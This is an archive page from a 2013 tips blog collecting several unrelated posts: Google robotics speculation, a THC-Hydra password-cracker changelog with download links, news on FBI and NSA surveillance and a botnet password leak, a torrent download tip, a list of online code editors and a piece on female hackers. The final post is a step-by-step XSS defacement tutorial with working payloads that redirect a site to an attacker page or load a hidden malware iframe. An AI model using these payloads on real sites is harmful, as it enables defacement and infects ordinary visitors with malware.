d0837296baef4fc14d667832c1a5215944b54a8f46af2d5c5c TipsS And TricksS: internet security
Showing posts with label internet security. Show all posts
Showing posts with label internet security. Show all posts
on Sunday, 15 December 2013
http://www.alexa.com/pro/subscription/configure?sid=1f6e9323-dc27-4edd-9bba-d8da10048b55#
Posted  by  
Why does Google need robots Because it already rules your pocket. The mobile market, except for the slow rise of wearables, is saturated. There are millions of handsets around the world, each one connected to the Internet and most are running either Android or iOS. Except for incremental updates to the form, there will be few innovations coming out of the mobile space in the next decade.
Then there’s Glass. These devices bring the web to the real world by making us the carriers. Google is already in front of us on our small screens but Glass makes us a captive audience. By depending on Google’s data for our daily interactions, mapping, and restaurant recommendations – not to mention the digitization of our every move – we become some of the best Google consumers in history. But that’s still not enough.
Google is limited by, for lack of a better word, meat. We are poor explorers and poor data gatherers. We tend to follow the same paths every day and, like ants, we rarely stray far from the nest. Google is a data company and needs far more data than humans alone can gather. Robots, then will be the driver for a number of impressive feats in the next few decades including space exploration, improved mapping techniques, and massive changes in the manufacturing workspace.
Robots like Baxter will replace millions of expensive humans – a move that I suspect will instigate a problematic rise of unemployment in the manufacturing sector – and companies like manufacturing giant Foxconn are investing in robotics at a clip. Drones, whether human-control or autonomous, are a true extension of our senses, placing us and keeping us apprised of situations far from home base. Home helpers will soon lift us out of bed when we’re sick, help us clean, and assist us near the end of our lives. Smaller hardware projects will help us lose weight and patrol our streets. The tech company not invested in robotics today will find itself far behind the curve in the coming decade.
That’s why Google needs robots. They will place the company at the forefront of man-machine interaction in the same way that Android put them in front of millions of eyeballs. Many pundits saw no reason for Google to start a mobile arm back when Android was still young. They were wrong. The same will be the case for these seemingly wonky experiments in robotics.
Did Google buy Boston Dynamics and seven other robotics companies so it could run a thousand quadrupedal Big Dogs through our cities? No, but I could see them using BD’s PETMAN, a bipedal robot that can walk and run over rough terrain – to assist in mapping difficult-to-reach areas. It could also become a sort of Google Now for the real world, appearing at our elbows in the form of an assistant that follows us throughout the day, keeping us on track, helping with tasks, and becoming our avatars when we can’t be in two places at once. The more Google can mediate our day-to-day experience the more valuable it becomes.
Need more proof? Follow the money. Robotics is big business and analysts estimate that Boston Dynamics could be a $5 billion company in the next few years. With the right contracts and the right product mix, almost any of member Google’s current robot horde can hit nearly any market, from consumer robotics on a large scale to massive installations in manufacturing – not to mention those lucrative DARPA contracts.
on Thursday, 12 December 2013
CHANGELOG for 7.5

        * Moved the license from GPLv3 to AGPLv3 (see LICENSE file)
        * Added module for Asterisk Call Manager
        * Added support for Android where some functions are not available
        * hydra main:
           - reduced the screen output if run without -h, full screen with -h
           - fix for ipv6 and port parsing with service://[ipv6address]:port/OPTIONS
           - fixed -o output (thanks to www417)
           - warning if HYDRA_PROXY is defined but the module does not use it
           - fixed an issue with large input files and long entries

        * hydra library:
           - SSL connections are now fixed to SSLv3 as some SSL servers fail otherwise, report if this gives you problems
           - removed support for old OPENSSL libraries
        * HTTP Form module:
           - login and password values are now encoded if special characters are present
           - ^USER^ and ^PASS^ are now also supported in H= header values
           - if you the colon as a value in your option string, you can now escape it with \: - but do not encode a \ with \\
        * Mysql module: protocol 10 is now supported
        * SMTP, POP3, IMAP modules: Disabled the TLS in default. TLS must now be defined as an option "TLS" if required. This increases performance.
        * Cisco module: fixed a small bug (thanks to Vitaly McLain)
        * Postgres module: libraries on Cygwin are buggy at the moment, module is therefore disabled on Cygwin

 You can also take a look at the full CHANGES file

Download THC-Hydra v7.5


1. The source code of state-of-the-art Hydra: hydra-7.5.tar.gz
    (compiles on all UNIX based platforms - even MacOS X, Cygwin on Windows, ARM-Linux, Android, etc.)

 2. The source code of the stable tree of Hydra ONLY in case v7 gives you problems on unusual and old platforms: hydra-5.9.1-src.tar.gz

 3. The Win32/Cywin binary release: --- not anymore ---
    Install cygwin from http://www.cygwin.com  and compile it yourself. If you do not have cygwin installed - how do you think you will do proper securiy testing? duh ...


on Monday, 9 December 2013

The FBI has developed advanced surveillance techniques that give it the power to covertly activate Web cams to spy on unsuspecting computer owners.
Tech savvy G-men can remotely turn on cameras that transmit real-time images to investigators — without triggering the light that shows the camera is in use, according to The Washington Post.
The FBI can also burrow into a suspect’s computer and download files, photographs and stored e-mails.
The new snooping capabilities came to light during an investigation of a mysterious man named “Mo’’ – who threatened to blow up a building filled with innocent people unless authorities free Colorado movie-theater shooting suspect James Holmes.
He also threatened to bomb a jail, a hotel, three colleges and two airports.
No bombs were found at the targets he mentioned.
He first contacted federal authorities in July 2012. It’s not clear how long Mo and the FBI were in touch.
The paper said he sometimes used an untraceable e-mail, other times an encrypted phone.
Mo even sent the FBI pictures of himself fashionably decked out in an Iranian military uniform.
The FBI, frustrated in its attempts to track him down, used special software that would install itself in Mo’s computer when he opened his e-mail.
It was designed specifically to help agents track his location and his movements.
But the software never worked as designed, the paper said, and Mo remains at large.
The feds had gotten permission to install the software from a Denver judge.
The agency tried to use it on at least one other probe, but a Houston judge described the method as “extremely intrusive’’ and probably unconstitutional — and shot it down.
The FBI has had the capability to sneak into computers’ Web cams for several years, a former employee of the agency told the Washington Post.
It was not clear how many times it tried to do it, but the paper’s source said the FBI has used its tool mainly in terrorism and the “most serious’’ investigations.
The technology is highly controversial.
“We have transitioned into a world where law enforcement is hacking into people’s computers and we have never had public debate,” Christopher Soghoian of the American Civil Liberties Union complained to the paper.


on Sunday, 8 December 2013

Sitting on the wire, the NSA has the ability to track and make a record of every website you visit.  Today, the Huffington Post revealed that the NSA is using this incredible power to track who visits online porn websites, and to use this information to discredit those it deems dangerous. Their porn habits would then be "exploited to undermine a target's credibility, reputation and authority."   
The story was illustrated with six individuals, none of whom are designated terrorists themselves. Instead, they are deemed "radicalizers," people—two of which the NSA itself characterized as a "well-known media celebrity" and a "respected academic"—whose speeches and postings allegedly incite hatred or promote offensive jihad. 
The report raises the specter of abusing online viewing records to discredit other political opponents of the US government. The NSA document was reviewed not just by the NSA and counter-terrorism officials, but by entities like the Department of Commerce and the US Trade Representative. The USTR negotiates treaties (like the controversial Trans-Pacific Partnership), and one could certainly imagine that the leverage from this program could be useful in pushing for the US position. In fact, EFF and three dozen civil society groups have already asked the NSA to explain if they are spying on those advocating for the public interest in US trade policy.
Ed Snowden's latest revelation may leave SEC officials quaking as the NSA "has been gathering records of online sexual activity and evidence of visits to pornographic websites as part of a proposed plan to harm the reputations of those whom the agency believes are radicalizing others through incendiary speeches." Of course, as we have seen, this 'information' would never be used by the government for non-radical-terrorist suppressing reasons, as the ACLU notes, is is "an unwelcome reminder of what it means to give an intelligence agency unfettered access to individuals' most sensitive information using tactics associated with the secret police services of authoritarian governments."
Via Snowden...
The National Security Agency has been gathering records of online sexual activity and evidence of visits to pornographic websites as part of a proposed plan to harm the reputations of those whom the agency believes are radicalizing others through incendiary speeches, according to a top-secret NSA document.

The document, provided by NSA whistleblower Edward Snowden, identifies six targets, all Muslims, as “exemplars” of how “personal vulnerabilities” can be learned through electronic surveillance, and then exploited to undermine a target’s credibility, reputation and authority.

The NSA document, dated Oct. 3, 2012, repeatedly refers to the power of charges of hypocrisy to undermine such a messenger.”
Full ACLU Statement:
The NSA considered discrediting six people by revealing surveillance evidence of their online sexual activity, visits to pornography websites, and other personal information, according to a report today in The Huffington Post. The article cited documents leaked by former NSA contactor Edward Snowden. The targets of the NSA’s plan were all Muslims whom the NSA characterized as “radicals” but who were not believed to be involved in terrorism. The documents say one of the targets was a “U.S. person,” a term describing American citizens and legal permanent residents, but all of the targets were reportedly outside the United States.

American Civil Liberties Union Deputy Legal Director Jameel Jaffer had this reaction:

“This report is an unwelcome reminder of what it means to give an intelligence agency unfettered access to individuals' most sensitive information. One ordinarily associates these kinds of tactics with the secret police services of authoritarian governments. That these tactics have been adopted by the world’s leading democracy – and the world’s most powerful intelligence agency – is truly chilling.”

The administration keeps on attempting to justify the NSA spying by claiming there is oversight from the other branches of government. But, as Pentagon Papers whistleblower Daniel Ellsberg noted in the Why Care About NSA Spying video, spying makes a mockery of that separation. How can that oversight be meaningful if the NSA's huge storehouse of information contains the private viewing habits of every senator, representative, and judge? When the only protection against abuse is internal policies, there is no serious oversight. Congress needs to take action now to rein in the spying.


on Saturday, 7 December 2013
Times of India |1 day ago |Posted By: landmarkvacanc ymanagemen
Security experts have uncovered a trove of some 2 million stolen passwords   to websites including Facebook, Google, Twitter and Yahoo from internet users across the globe. 

Researchers with Trustwave's SpiderLabs said they discovered the credentials while investigating a server in the Netherlands that cybercriminals use to control a massive network of compromised computers known as the "Pony botnet." 

The company said that it has reported its findings to the largest of more than 90,000 websites and internet service providers whose customers' credentials it had found on the server. 

The data includes more than 3,26,000 Facebook accounts, some 60,000 Google accounts, more than 59,000 Yahoo accounts and nearly 22,000 Twitter accounts, according to SpiderLabs. Victims' were from the United States, Germany, Singapore and Thailand, among other countries. 

Representatives for Facebook and Twitter said the companies have reset the passwords of affected users. A Google spokeswoman declined comment. Yahoo representatives could not be reached. 

SpiderLabs said it has contacted authorities in the Netherlands and asked them to take down thePony botnet server. 

An analysis posted on the SpiderLabs blog showed that the most-common password in the set was "123456," which was used in nearly 16,000 accounts. Other commonly used credentials included "password," "admin," "123" and "1." 

Graham Cluley, an independent security expert, said it is extremely common for people to use such simple passwords and also re-use them on multiple accounts, even though they are extremely easy to crack. 

"People are using very dumb passwords. They are totally useless," he said.

on Saturday, 30 November 2013


Torrent use is very popular these days. Whether you want to download a large file, or even a small one, you can use a torrent to download your desired file. In order to download the files, you need seeders and leaches. The more seeders, the better because you get faster download speed. The lower the seeders and leaches count, the slower the speed.

IDM is a very popular download client that helps you download many files at once, but also accelerates the download process. If you especially want to download very large files, IDM can come in very handy because it separates the file(s) into parts and downloads the smaller parts in accelerates rate. Once everything is downloaded, the smaller files are put back together into the original file you intended to download. Fairly simple, right? Now let to know..
How you can Download Torrent Files With IDM 

Follow below steps to Download Torrent Files With IDM

Step 1: 

Select any Torrent download client such as utorrent or Bittorrent You can use these clients to download the Torrent files onto your computer.

Step 2: 

Go to a Torrent uploading site such as ExtraTorrent or zBigz. In this step, you will be uploading the Torrent you downloaded earlier.

Step 3: 

Upload the Torrent using the sites stated in the previous step, or if you have a site of your choosing, go from there. Make sure to use the “Free” uploading option. Assuming that you don’t want to pay for an account, just go with the free option. Do note that if you go with the free option, there are limitations set by the website. If you go with a premium account, some extra perks are provided.
Depending on how big the Torrent is, that’s how long it may take to upload. It also depends on how fast your Internet connection is. The faster your connection is, the faster the upload speed will be.

Step 4: 

Once you have uploaded the Torrent, there should be an option for you to “ZIP” the Torrent. Normally, there will be extra options to download the contents of the Torrent file individually, but for now, lets go with the “.zip” option.

Step 5: 

Once everything has been zipped in the “.zip” format, hit download. Internet Download Manager should pop up and automatically take over the download process instead of your browser.

This may seem like a bit tedious process, but it’s well worth knowing that you can download the Torrent through a ZIP file format without having to worry about increasing or decreasing connection speed. More people these days are using this process in order to speed up downloading and uploading of Torrents.

read more:-    How To Increase Download Speed of IDM using IDM Optimizer

on Friday, 29 November 2013
In this article I want to outline 10 interesting web apps for testing your code online. All of these apps require an Internet connection, and some of the more advanced editors offer pro plans to upgrade your account features. But most of these tools will surely come in handy when you’re scrambling to debug a block of JavaScript or PHP.
Modern trends and webapps have dramatically changed the way web developers can build. Obviously you need some type of IDE to code new files and save them for deployment. But what about just testing your code snippets? There are more tools available now than ever before!


1. CodePad

codepad is an online compiler/interpreter, and a simple collaboration tool. Paste your code below, and codepad will run it and give you a short URL you can use to share it in chat or email.

2. Write Code Online
The main website for WriteCodeOnline.com actually redirects to their JavaScript editor. You can choose among JS, PHP, and basic URL encoding. Their application is very safe to use and feels lighter than other alternatives.
What’s interesting is that you’ll see the output results directly underneath the text field. So when you hit “run code” it will parse through everything and display the result for you to see. It can be tough debugging some larger PHP scripts because you need to include other files.



3.TinkerBin
                    
                           

Tinkerbin lets you play with HTML,Javascript and CSS without creating files or uplading to servers. It also supports Coffeescript, Sass(with compass), Less, HAML and more. Tinkerbin may actually be my favorite online code editing resource. It supports web developers coding in HTML5/CSS3/JS and renders the output directly on-screen. The application is still in Alpha development, but most of the tools work perfectly and can quickly catch bugs.

4. JS Bin


In a similar fashion as above, jsbin is a simple JavaScript debugging console. Their pitch involves a collaborative effort where you can share a private link with other developers and write together in real time.
As you’re coding different elements the drafts will autosave. You have the ability to download your final product or keep the source code saved online. Their system is much more advanced for exporting and keeping your code as a bare template.

5. JS Fiddle


jsfiddle is one the most popular playground for web developers. It’s an online editor for snippets build from HTML, CSS and JavaScript.You can also share your code snippets with others and embed them in a blog.

Anybody who has browsed through Stack Overflow must know about jsFiddle. Their interface is a whole lot difference compared to JS Bin, along with support for more complex functions. Right away you can signup for a free account and start saving your code samples online. jsFiddle offers a short URL which you can share around the Web via Twitter, Facebook, even Stack. But notice you do not need an account to start coding. It’s just a handy feature to keep everything organized.
6. CSS Desk



Moving from the world of scripting into stylesheet language, we have CSSDesk. You’ve got a similar setup like all the rest, with your source code on the left and final webpage render on the right. This webapp is great for building small webpage templates and testing the longer CSS3 properties with gradients and box shadows.

7. JSdo.it

 
Some of the apps appear to have Japanese writing which makes me believe it was originally created somewhere in Asia. But what I love about their interface is how you can actually upload files you’ve already created and store them into a project. It’s such an easy process to store full webpage mockups online where you can access and edit them from any computer.

8. Google Code PlayGround


I would recommend saving this tool only as a resource. It’s not perfect for debugging everything you write. But Google is a huge company with a lot of open source API data. If you ever need to pull content from YouTube or custom Google Searches, this is the sandbox you want to use.
Google Code Playground is another great online tool test and run your code without opening an external editor.All of the API’s are loaded for you in the Pick an API box

9.IDEOne


What’s so great about their app is how you can quickly debug many different programming languages from the same page. You can also store this source code via a unique URL to share around the Web. However I do feel that their layout is very cluttered with ads and other content, it makes using their website difficult. It would be really cool to see the option of including alternate code libraries, such as Cocoa Touch for iPhone app development.

10. Viper 7 CodePad


This webapp also named 
Codepad is hosted on a website viper-7.com, which also redirects to the same online editor. Their debugging tools are setup for PHP output where you can change between PHP5 and PHP4.
If you create an account you can use their service as a personal storage system. Much like other online editors, you can name each PHP project and keep them hosted online for free. It’s such a powerful code editor because you don’t need any software on your computer at the time. As you parse each script the editor will offer additional meta details, such as browser request & response headers.

on Monday, 25 November 2013
Hacking has traditionally been a man’s world, but women are quietly breaking into the hacker subculture. Take a look at top 5 female hackers in the world.

1. Kristina Vladimirovna Svechinskaya



Kristina Svechinskaya, a New York University student is one of the most common names in the hacker’s world. She is Russian money mule maker who was arrested on November 2010 and accused of breaking into millions of dollars from several banks in Britain and America and for usage of multiple fake passports. Svechinskaya was dubbed "the world's sexiest computer hacker" for her raunchy, but casual appearance.


Svechinskaya used Zeus trojan horse to attack thousands of bank accounts along with nine others and opened at least five accounts in Bank of America and Wachovia to disburse the theft money. For all her hacking activities and for using the passports fraudulently it is said that she may have to pay huge penalty of 40 years of imprisonment. It is estimated that with nine other people Svechinskaya had skimmed $3 million in total.


2.Joanna Rutkowska

Joanna Rutkowska

Joanna Rutkowska is a Polish woman who is interested in the world of hacking security. Her name first became known as the Black Hat Briefings conference in Las Vegas, August 2006. Rutkowska presented during which the attack she had done to the security system windows vista. Not only that, Rutkowska also been attacked Trusted Execution Technology and Intel's System Management Mode. 

Early 2007 she formed Invisible Things Lab in Warsaw, Poland. A company that focuses on OS security research and consulting services as well VMM internet security. The year 2010 also Rutkowska with Rafal Wojtczuk form Qubes, an Operating System that is very full protect security. Rutkowska also open to advise Vice President of mikocok Security Technology Unit to further tighten the security system in windows vista. Waw, Rutkowska is a hacker who is very welcome to work with.


3. Ying Cracker

Ying Cracker

Cracker ying, a teacher from Shanghai China. SHe taught about the basic process of hacking guide, how to change the IP address or manipulate office password, wow!
She is also an expert in making software hackers.
In a forum titled Chinese Hackers Hottie, his name is much discussed and it makes its popularity gaining altitude. In the forum she's also got a lot of fans members. It was the beginning credibility soar.


4. Raven Alder

Raven Alder

Raven graduated from high school at the age of 14 and college at 18. She was the first woman to give a presentation at the DefCon hacker’s conference. Adler an half ISP engineer, half security geek, is a contributing author to several technical books, magazines and a frequent speaker at conferences She designs, tests and audits intrusion detection systems for large federal agencies. She has worked as a Senior Backbone Architect and Senior Security Consultant in IT security. Her interest in securing networks end-to-end has led her to examine and pioneer standards in the security of network infrastructure.




5. Xiao Tian 
 Xiao Tian
Xiao Tian, just out of her teenage became famous after forming China Girl Security Team, a group of hackers especially for woman which is China's largest today, the group has over 2,200 members. Tian created the now-infamous hacking team because she felt that there was no other outlet for teenage girls like herself in the male-dominated world of hacking. Its time to Move over male Asian nerdy computer geeks, female Asian nerdy computer geeks are here to stay.

on Saturday, 23 November 2013



Today i am gonna teach you how to deface the sites which has the XSS vulnerability .

IMP NOTE : : Never implement this technique. I am just explaining it for educational purpose only.

Defacing is one of the most common thing when the hacker found the vulnerability in website. 

Defacing is changing the content the website to Hacker content. 

Most of time, attacker use this technique to inform about the vulnerability to Admin. 

But it's bad idea..!

i have some easiest methods to deface the Xss vuln sites .. i will be teaching u one by one .

step :- 1  Script for changing the background Color of a website:

<script>document.body.bgColor="red";</script>

use this in your target website as

http://www.targetwebsite.com/<script>document.body.bgColor="red";</script>

step:- 2  Script for chaning the background image of a website:

<script>document.body.background="http://your_image.jpg/";</script>

step:- 3  Defacement Page with Pastehtml:

First of all upload some defacement page(html) to pastehtml.com and get the link.

When you find a XSS vulnerable site, then insert the script as :

<script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>

This script will redirect the page to your pastehtml defacement page.

Note: You can deface only persistent XSS vulnerable sites.

step:- 4 Defacing with iframe Injection

What is an IFrame Injection?

Using IFrame tag, The Attackers injects the malware contain website(links) 

using Cross site Scripting in popular websites. 

So if the usual visitors of that popular sites opens the website, 

it will redirect to malware contain website. 

Malware will be loaded to your computer, now you are infected .

What an attacker can do with Iframe Injection?

Using Iframe Injection, an attacker can inject advertisements inside any other websites, 

insert malware infected site links, redirect to malware infected sites and more.

Iframe Injection Tutorial:

1.First of all attacker will find the Vulnerable websites using google dorks.

2. They test the vulnerability by inserting some iframe tag using the url.

3. then insert the Malicious Iframe code inside the webpage.

For Example:

he can insert this code using the url:

Code:

<iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

For php webpages:

echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

I have just given some easy method only to deface the XSS affected page ..

It wil be NOOB friendly .. Still there are more methods to deface it..

please leave comment if u have any queries..and share this...